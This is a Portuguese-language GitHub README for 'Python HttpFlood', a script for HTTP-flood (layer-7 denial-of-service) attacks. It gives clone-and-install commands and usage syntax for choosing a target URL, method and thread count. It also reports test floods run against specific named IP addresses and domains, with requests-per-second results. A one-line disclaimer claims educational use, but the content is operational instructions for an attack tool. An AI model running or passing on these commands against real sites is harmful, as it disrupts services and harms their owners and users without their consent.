Skip to content

Latest commit

 

History

History
63 lines (51 loc) · 2.1 KB

README-pt.md

File metadata and controls

63 lines (51 loc) · 2.1 KB

Python HttpFlood Views

Este é um simples script de HTTP Flood desenvolvido em Python.

Instalação

git clone https://github.com/e43b/Python-HttpFlood/
cd Python-HttpFlood
pip install -r requirements.txt  

Uso

python main.py <alvo> <GET/POST> <threads>
Exemplo: python main.py http://51.159.30.249 POST 1500

Nota: Este script deve ser usado apenas para fins educacionais. Não é recomendado ou ético usar este script em sites sem permissão.

Configuração da Máquina e Testes

O script foi executado em uma máquina virtual com as seguintes especificações:

  • CPU: 1 núcleo
  • RAM: 2GB
  • Velocidade de Internet: Download: 378.87 Mbit/s, Upload: 48.47 Mbit/s (medido com speedtest-cli)

Configuração de Testes

Os testes foram realizados em diferentes sites para avaliar o desempenho na camada 7 (L7 Non Protected e L7 Non Protected SSL).

Testes na Prática com Método POST

MULTACOM-CORPORATION Comando: python main.py http://142.171.195.145/HIT POST 500

  • Requisições por segundo:
    • Máxima: 1500
    • Média: 1000

FDCservers-1 Comando: python main.py https://nodec.mediathektv.com POST 700

  • Requisições por segundo:
    • Máxima: 2800
    • Média: 1500

Testes na Prática com Método GET

MULTACOM-CORPORATION Comando: python main.py http://142.171.195.145/HIT GET 500

  • Requisições por segundo:
    • Máxima: 3000
    • Média: 1000

FDCservers-1 Comando: python main.py https://nodec.mediathektv.com GET 700

  • Requisições por segundo:
    • Máxima: 2200
    • Média: 1500

Autor

O criador desta ferramenta é E43b.